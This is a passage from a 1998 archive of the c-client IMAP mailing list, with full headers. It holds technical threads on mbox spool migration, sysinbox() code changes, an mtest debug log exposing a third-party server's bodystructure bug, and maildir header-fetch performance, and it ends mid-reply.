by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id QAA27528; Tue, 18 Aug 1998 16:05:22 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA82048 for ; Tue, 18 Aug 1998 16:04:07 -0700 Received: from honeybee.sover.net (erikl@honeybee.sover.net [204.71.16.14]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA19047 for ; Tue, 18 Aug 1998 16:04:06 -0700 Received: from localhost (erikl@localhost) by honeybee.sover.net (8.9.1a/8.9.1) with SMTP id TAA13577; Tue, 18 Aug 1998 19:04:03 -0400 (EDT) Message-Id: Date: Tue, 18 Aug 1998 19:04:02 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Erik R Leo To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Transition from /var/mail/user to ~user/mbox In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: honeybee.sover.net: erikl owned process doing -bs X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 18 Aug 1998, Mark Crispin wrote: > On Tue, 18 Aug 1998 14:57:53 -0400 (EDT), Erik R Leo wrote: > > I sent this same message (more-or-less) directly to Mark Crispin, > > since it may describe a problem with the mbox driver. Now I am sending it > > to this list, since it is more likely a problem with my understanding of > > the mbox driver :). > > Yes, I got your first message, which you sent less than 6 hours ago. Please > allow a reasonable amount of time for a response. Sorry. I didn't mean to be rude, its just that after thinking about the "problem" a little more, I decided the wider audience might help me understand the purpose/behavior of the mbox driver a little better. > > I am in transition from a shared spool (/var/mail/user) to a home > > directory (~user/mbox) delivery scheme. Following advice gleaned from the > > imap mailing list (IMAP@CAC.washington.edu), I have used the default > > behavior of the mbox driver to move the existing contents of > > /var/mail/user to ~user/mbox, and I have configured procmail to deliver > > new mail to ~user/mbox. Everything seems to work fine, but I considered > > this to be a temporary configuration, since the move from the old spool to > > the home directory should be a one-time operation. > > > > I assumed the final configuration would simply be a matter of > > pointing the c-client programs (pine, imapd, ipop2d, ipop3d) at the new > > spool location, and following advice gleaned from .../imap/docs/CONFIG, I > > modified sysinbox() to return ~user/mbox on my workstation. > > > > Unfortunately, this configuration broke (neither pine nor > > ipop3d--the 2 that I tested--was able to open my inbox). > > What, precisely, do you make sysinbox() return? sysinbox() must return an > absolute path, not anything with a "~" in it. I changed the line in .../imap/src/osdep/unix/env_unix.c sysinbox() from: sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); to: sprintf (tmp,"%s/mbox",myhomedir ()); > What, precisely, happened? It does not suffice to say "was [not] able to open > my inbox". Did you get an error message? Did you get zero messages? Pine displayed the "[Opening "INBOX" <|> ]" message indefinitely with the spinning cursor. It also created ~user/mbox.lock. I finally killed the process. No error messages, no completion of the "Opening "INBOX" stage. > I strongly recommend that you either disable the mbox driver in c-client or > you use some name other than "mbox" (I recommend "INBOX"). The mbox driver > exists specifically to move mail *from* the sysinbox() to ~/mbox. Although > locking should protect you from moving from ~/mbox to ~/mbox, it is playing > with fire. I guess I am abusing the mbox driver's behavior, but I was hoping to use it for a transition phase, where the current spool (/var/mail) could be NFS-mounted on my new mailserver, with the new mailserver delivering to ~user/mbox. Then the spool could be moved incrementally, as needed and on demand without mail service downtime. > Note that any mail which does not go through procmail will go to > /var/mail/user. There have been instances where this has happened, so your > tinkering may end up creating more problems than the trivial bit of efficiency > that it gains (in other words, you may be better off leaving it alone). We use procmail as a local delivery agent, so its use is pretty wired into the delivery system, but your point is taken. Other ideas for accomplishing the transition and any hints about the "best" final configuration are truly appreciated. -Erik -- Erik R. Leo, Net Worker SoVerNet Tel: +1(802)463-2111 Vermont's Sovereign Internet Connection Fax: +1(802)463-2110 Post Office Box 495, 5 Rockingham Street Email: erikl@sover.net Bellows Falls, Vermont 05101 From pinedev@shivax2.cac.washington.edu Tue Aug 18 16:58:07 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 18 Aug 1998 16:58:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id QAA25576 for ; Tue, 18 Aug 1998 16:58:04 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA01757; Tue, 18 Aug 1998 16:57:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id QAA29096; Tue, 18 Aug 1998 16:57:38 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA26892 for ; Tue, 18 Aug 1998 16:56:22 -0700 Received: from mailhost2.u.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA21763 for ; Tue, 18 Aug 1998 16:56:21 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (hik@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id QAA02889; Tue, 18 Aug 1998 16:56:17 -0700 Message-Id: Date: Tue, 18 Aug 1998 16:46:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Erik R Leo Cc: c-client@u.washington.edu Subject: re: Transition from /var/mail/user to ~user/mbox In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 18 Aug 1998 19:04:02 -0400 (EDT), Erik R Leo wrote: > Sorry. I didn't mean to be rude, its just that after thinking > about the "problem" a little more, I decided the wider audience might help > me understand the purpose/behavior of the mbox driver a little better. The sole purpose of the mbox driver is to service an environment in which mail is delivered to the spool directory and the user program is expected to move it to the mbox file in his home directory. > I changed the line in .../imap/src/osdep/unix/env_unix.c > sysinbox() from: > sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); > to: > sprintf (tmp,"%s/mbox",myhomedir ()); OK, that is correct. You should have also disabled the mbox driver, since otherwise it would try to move mail from mbox to mbox. > > What, precisely, happened? > Pine displayed the "[Opening "INBOX" <|> ]" message indefinitely > with the spinning cursor. It also created ~user/mbox.lock. I finally > killed the process. No error messages, no completion of the "Opening > "INBOX" stage. That is very different from "not able to open". Since you say NFS is involved, the most obvious culprit is locking. Is your system NFSv2 or NFSv3? If it is NFSv3, do you have a recent version of the software with the flocksun.c file? > I guess I am abusing the mbox driver's behavior, but I was hoping > to use it for a transition phase, where the current spool (/var/mail) > could be NFS-mounted on my new mailserver, with the new mailserver > delivering to ~user/mbox. Then the spool could be moved incrementally, as > needed and on demand without mail service downtime. If you want such a transition, then you should just use the mbox driver and not play around with changing the sysinbox. By changing the sysinbox, you prevent mail from ever being moved from the mail spool. I also strongly recommend against using NFS for any kind of mail access. NFS is not a scaleable, efficient, or reliable way of accessing mail. That's what IMAP is for. From pinedev@shivax2.cac.washington.edu Wed Aug 19 15:16:25 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 19 Aug 1998 15:16:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA11929 for ; Wed, 19 Aug 1998 15:16:23 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA27621; Wed, 19 Aug 1998 15:16:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA06252; Wed, 19 Aug 1998 15:15:53 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA59874 for ; Wed, 19 Aug 1998 15:12:40 -0700 Received: from thorin.cmc.net (thorin.cmc.net [206.102.31.253]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA25645 for ; Wed, 19 Aug 1998 15:12:40 -0700 Received: (from bem@localhost) by thorin.cmc.net (8.9.0.Beta3/8.7.3) id PAA23455 for c-client@u.washington.edu; Wed, 19 Aug 1998 15:12:48 -0700 Message-Id: <19980819151248.I13936@cmc.net> Date: Wed, 19 Aug 1998 15:12:48 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: brian moore To: c-client@u.washington.edu Subject: Re: Transition from /var/mail/user to ~user/mbox In-Reply-To: ; from Mark Crispin on Tue, Aug 18, 1998 at 04:46:14PM -0700 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uptime: 2:55pm up 19 days, 59 min, 3 users, load average: 1.13, 1.17, 1.11 X-Moon: The Moon is Waning Crescent (7% of Full) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, Aug 18, 1998 at 04:46:14PM -0700, Mark Crispin wrote: > > I guess I am abusing the mbox driver's behavior, but I was hoping > > to use it for a transition phase, where the current spool (/var/mail) > > could be NFS-mounted on my new mailserver, with the new mailserver > > delivering to ~user/mbox. Then the spool could be moved incrementally, as > > needed and on demand without mail service downtime. > > If you want such a transition, then you should just use the mbox driver and > not play around with changing the sysinbox. By changing the sysinbox, you > prevent mail from ever being moved from the mail spool. Well, what we did doing here: /var/mail became a mess with several thousand mailboxes, competition for .lock creation, deletion, etc and all the fun of Berkeley mailboxes. So I hacked procmail to check the existence of /var/mail/u/s/username/inbox : if it existed, mail was delivered there, else, it went to the /var/mail/username. I did the same sort of thing with c-client (to take care of ipop3d and imapd) in sysinbox: char *sysinbox () { struct stat buf; char user_name[20]; char tmp[MAILTMPLEN]; if (!sysInbox) { /* initialize if first time */ sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); sysInbox = cpystr (tmp); /* system inbox is from mail spool */ if ( stat(sysInbox, &buf) < 0) { fs_give((void **) &sysInbox); /* slight memory leak otherwise */ strncpy(user_name,myusername(),15); sprintf(tmp,"%s/%c/%c/%s/inbox", MAILSPOOL, user_name[0], user_name[1], myusername() ); sysInbox =cpystr(tmp); } } return sysInbox; } I then moved a few mailboxes and things worked, then a few more. The whole move was done over a week or so in little bursts of activity. ("I'm bored, let's move the A's...."). When I get around to it, I'll kill the extra stat() and force both procmail and c-client to use the proper thing. This is done in the made-up directory because our users don't have shell accounts or home directories. > I also strongly recommend against using NFS for any kind of mail > access. NFS is not a scaleable, efficient, or reliable way of > accessing mail. That's what IMAP is for. That's true as well. Any chance UW will let you explain your mail architecture in depth, as Earthlink has done? You've got an impressive structure from what I've seen, and it would be nice to see how to handle the sort of hammering you have. -- Brian Moore Kill A Spammer For Jesus Sysadmin, C/Perl Hacker, Usenet Vandal From pinedev@shivax2.cac.washington.edu Wed Aug 19 15:43:34 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 19 Aug 1998 15:43:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA11073 for ; Wed, 19 Aug 1998 15:43:32 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA24378; Wed, 19 Aug 1998 15:43:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA23163; Wed, 19 Aug 1998 15:43:17 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA58408 for ; Wed, 19 Aug 1998 15:42:09 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (weiner@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA17453 for ; Wed, 19 Aug 1998 15:42:09 -0700 Message-Id: Date: Wed, 19 Aug 1998 15:20:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: brian moore Cc: c-client@u.washington.edu Subject: Re: Transition from /var/mail/user to ~user/mbox In-Reply-To: <19980819151248.I13936@cmc.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 19 Aug 1998 15:12:48 -0700, brian moore wrote: > That's true as well. Any chance UW will let you explain your mail > architecture in depth, as Earthlink has done? > > You've got an impressive structure from what I've seen, and it would be > nice to see how to handle the sort of hammering you have. I'm not sure how much there is to explain. I'll refer you to Terry Gray for specific details. From pinedev@shivax2.cac.washington.edu Sun Aug 23 20:30:45 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Sun, 23 Aug 1998 20:30:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA29122 for ; Sun, 23 Aug 1998 20:30:44 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id UAA19523; Sun, 23 Aug 1998 20:30:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id UAA08282; Sun, 23 Aug 1998 20:30:21 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id UAA10254 for ; Sun, 23 Aug 1998 20:28:34 -0700 Received: from ns.infoweb.co.kr ([210.105.42.100]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id UAA22292 for ; Sun, 23 Aug 1998 20:28:32 -0700 Received: from infoweb.co.kr ([210.105.42.121]) by ns.infoweb.co.kr (Netscape Messaging Server 3.5) with ESMTP id 47 for ; Mon, 24 Aug 1998 12:42:28 +0900 Message-Id: <35E0DE73.6AB6CB2A@infoweb.co.kr> Date: Mon, 24 Aug 1998 12:30:59 +0900 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "scpark" To: "c-client@u.washington.edu" Subject: mtest with rockliffe's Mail Site. MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------8BE2D79A0A796F0C4AEA7B91" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------8BE2D79A0A796F0C4AEA7B91 Content-Type: text/plain; charset=iso-2022-kr Content-Transfer-Encoding: 7bit Help me. I've installed MailSite (mail server for Windows NT of Rockliffe) and found mtest didn't work properly. I don't know about IMAP. So, I list mtest messages bottom. Please, someone check it and let me know what is problem. ------------------------ message of mtest MTest -- C client test program Debug protocol (y/n)?y Mailbox ('?' for help): {scpark.infoweb.co.kr}INBOX %rsh to IMAP server timed out [Trying IP address [210.105.42.121]] * OK scpark.infoweb.co.kr MailSite IMAP4 Server 2.1.5 ready [scpark.infoweb.co.kr MailSite IMAP4 Server 2.1.5 ready] 00000000 CAPABILITY * CAPABILITY IMAP4rev1 ACL AUTH=CRAM-MD5 00000000 OK CAPABILITY completed {[210.105.42.121]/imap} username: ljhwang Password: 00000003 LOGIN ljhwang "********" 00000003 OK LOGIN completed 00000004 SELECT INBOX * FLAGS (\Answered \Flagged \Deleted \Seen \Draft \*) * 1 EXISTS * 0 RECENT * OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] * OK [UNSEEN 0] [[UNSEEN 0]] * OK [UIDVALIDITY 276399903] UIDs are valid 00000004 OK [READ-WRITE] opened INBOX Mon, 24 Aug 1998 11:53:23 +0900 (KST) imap mailbox: {scpark.infoweb.co.kr:143/imap/user=ljhwang}INBOX, 1 messages, 0 recent MTest>b 1 00000005 FETCH 1 (ENVELOPE BODY.PEEK[HEADER.FIELDS (Path Message-ID Newsgroups Followup-To References)] B ODYSTRUCTURE UID INTERNALDATE RFC822.SIZE FLAGS) * 1 FETCH (ENVELOPE ("Fri, 07 Aug 1998 11:47:29 +0900" "test" (("Sungchul Park " NIL "scpark" "infoweb.co .kr")) (("Sungchul Park " NIL "scpark" "infoweb.co.kr")) (("Sungchul Park " NIL "scpark" "infoweb.co.kr") ) ((NIL NIL "ljhwang" "scpark.infoweb.co.kr")) NIL NIL NIL "<35CA6AC1.49536AA@infoweb.co.kr>") BODY[HEADE R.FIELDS ("References" "Followup-To" "Newsgroups" "Message-ID" "Path")] {46} BODYSTRUCTURE (("TEXT" "plain" ("CHARSET" "us-ascii") NIL NIL "7BIT" 6 1 NIL NIL NIL) ("TEXT" "x-vcard" ("CHARSET" "us-ascii" "NAME" "vcard.vcf") NIL "Card for Sungchul Park" "7BIT" 475 15 NIL ("attachment" (" filename" "vcard.vcf")) NIL) "mixed" ("BOUNDARY" "------------3431FFE1FCD97ED23985B03A")) UID 276399903 INTERNALDATE " 7-Aug-1998 02:47:29 +0000" RFC822.SIZE 1511 FLAGS (\Seen)) %Not a string: ("TEXT" "x-vcard" ("CHARSET" "us-ascii" "NAME" "vcard.vcf") NIL "Card for Sungchu %Missing multipart subtype %Junk at end of multipart body: "TEXT" "x-vcard" ("CHARSET" "us-ascii" "NAME" "vcard.vcf") NIL "Card for Sungchu %Unknown message property: "TEXT" %Unknown message property: "X-VCARD" %Unknown message property: ("CHARSET" %Unknown message property: "US-ASCII" %Unknown message property: "NAME" %Unknown message property: "VCARD.VCF" %Unknown message property: NIL %Unknown message property: "CARD %Unknown message property: FOR %Unknown message property: SUNGCHUL %Unknown message property: PARK" %Unknown message property: "7BIT" %Unknown message property: 475 %Unknown message property: 15 %Unknown message property: NIL %Unknown message property: ("ATTACHMENT" %Unknown message property: ("FILENAME" %Unknown message property: "VCARD.VCF" %Unknown message property: NIL %Unknown message property: "MIXED" %Unknown message property: ("BOUNDARY" %Unknown message property: "------------3431FFE1FCD97ED23985B03A" 00000005 OK FETCH completed 1 TEXT/PLAIN;CHARSET=us-ascii (1 lines) MTest>q 00000006 LOGOUT * BYE IMAP4 Server logging out 00000006 OK LOGOUT completed --------------8BE2D79A0A796F0C4AEA7B91 Content-Type: text/x-vcard; charset=iso-2022-kr; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Sungchul Park Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Sungchul Park n: Park;Sungchul org: Infoweb, Inc. adr: 116-5 Nonhyun-Dong, Kangnam-Ku;;#401 Sungwoo B/D;Seoul;;135-010;South Korea email;internet: scpark@infoweb.co.kr title: S/W Eng. tel;work: +82-2-3445-7505 tel;fax: +82-2-3445-7502 tel;home: +82-331-263-5874 x-mozilla-cpt: 210.105.42.121;2 x-mozilla-html: TRUE version: 2.1 end: vcard --------------8BE2D79A0A796F0C4AEA7B91-- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 24 08:32:38 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 24 Aug 1998 08:32:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA06184 for ; Mon, 24 Aug 1998 08:32:36 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA28410; Mon, 24 Aug 1998 08:32:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA05850; Mon, 24 Aug 1998 08:32:12 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA45894 for ; Mon, 24 Aug 1998 08:30:48 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pao@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA22112 for ; Mon, 24 Aug 1998 08:30:48 -0700 Message-Id: Date: Mon, 24 Aug 1998 08:30:43 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: scpark Cc: "c-client@u.washington.edu" Subject: Re: mtest with rockliffe's Mail Site. In-Reply-To: <35E0DE73.6AB6CB2A@infoweb.co.kr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The problem is a bug in the IMAP server. I didn't look at it in detail, but it looks like the server writes spurious spaces between bodystructure elements. Contact the server vendor. From pinedev@shivax2.cac.washington.edu Mon Aug 31 08:23:29 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 31 Aug 1998 08:23:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA17985 for ; Mon, 31 Aug 1998 08:23:28 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA09713; Mon, 31 Aug 1998 08:23:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA09681; Mon, 31 Aug 1998 08:23:09 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA24666 for ; Mon, 31 Aug 1998 08:20:30 -0700 Received: from tango.mad.servicom.es (tango.mad.servicom.es [194.106.0.139]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA19589 for ; Mon, 31 Aug 1998 08:20:29 -0700 Received: from venus.wetron.local ([194.106.4.185]) by tango.mad.servicom.es (Post.Office MTA v3.1.2 release (PO203-101c) ID# 158-43936U25000L25000S0) with ESMTP id AAA689 for ; Mon, 31 Aug 1998 17:20:26 +0200 Received: (qmail 28433 invoked from network); 31 Aug 1998 13:09:09 -0000 Received: from pc6.wetron.local (HELO wetron.com) (192.168.1.6) by venus.wetron.local with SMTP; 31 Aug 1998 13:09:09 -0000 Message-Id: <35EAA073.97D1116D@wetron.com> Date: Mon, 31 Aug 1998 15:09:07 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Luca Olivetti To: c-client@u.washington.edu Subject: Big messages and layout = dir (maildir, mh, mx) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN My users tend to abuse the mail system (e.g. they don't know ftp and use it to send big files). The problem is aggravated by the fact that the imap server seems to read each and every message when the client requests (or should request) just the headers, with horrendous performance and sometimes crashing (out of memory). I'm not sure the problem lies within the server, since the client is Communicator (4.03 spanish), but I gleaned through the code for mx,mh and maildir (this last one is what I'm using, and I known that's not part of the standard c-client distribution), and effectively the "fetchheader" routine of each of those seems to read the whole file/message. I'm not a C wizard but wouldn't a rewrite of that routine improve performance and reduce the risk of overusing memory? (probably not if the messages are short, but if they are long messages with attachments...). I'm using the imap server 4.2 with the maildir driver by Mattias Larsson (and a couple of fixes by me) under redhat linux 4.2. -- Luca Olivetti Wetron Automatización S.A. http://www.wetron.com/ Tel. +34 93 5883004 Fax +34 93 5883007 ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 31 11:06:26 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 31 Aug 1998 11:06:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA20813 for ; Mon, 31 Aug 1998 11:06:25 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA14544; Mon, 31 Aug 1998 11:06:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA11720; Mon, 31 Aug 1998 11:06:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA20410 for ; Mon, 31 Aug 1998 11:05:00 -0700 Received: from elmwood.afterfive.com (musone@elmwood.afterfive.com [208.197.226.9]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA26021 for ; Mon, 31 Aug 1998 11:04:59 -0700 Received: (from musone@localhost) by elmwood.afterfive.com (8.9.1/8.9.1) id NAA18284 for c-client@u.washington.edu; Mon, 31 Aug 1998 13:36:54 -0400 Message-Id: <199808311736.NAA18284@elmwood.afterfive.com> Date: Mon, 31 Aug 1998 13:36:54 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Musone To: c-client@u.washington.edu Subject: IMAP APPEND as delivery agent? MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, Can anybody tell me if it's a bad idea to use the imap APPPEND for the delivery agent?? Why or why not? I'm thinking of making a perl script as the local delivery agent, and it connects to one of X imap servers to do the actual delivery of the message. This way I can have many imap servers, with any number of seperate incoming smtp servers. Thanks, Mark Musone musone@afterfive.com ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 31 11:10:16 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 31 Aug 1998 11:10:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA04986 for ; Mon, 31 Aug 1998 11:10:15 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA14664; Mon, 31 Aug 1998 11:10:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA18833; Mon, 31 Aug 1998 11:09:55 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA20478 for ; Mon, 31 Aug 1998 11:08:53 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA26583 for ; Mon, 31 Aug 1998 11:08:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gan@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA24401; Mon, 31 Aug 1998 11:08:44 -0700 Message-Id: Date: Mon, 31 Aug 1998 10:26:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Luca Olivetti Cc: c-client@u.washington.edu Subject: re: Big messages and layout = dir (maildir, mh, mx) In-Reply-To: <35EAA073.97D1116D@wetron.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 31 Aug 1998 15:09:07 +0200, Luca Olivetti wrote: > My users tend to abuse the mail system (e.g. they don't know ftp and use > it to send big files). I'm not sure what you mean by "abuse". We have administrative users here with thousands of messages and tens of megabytes in a single mailbox (they also tend to have lots 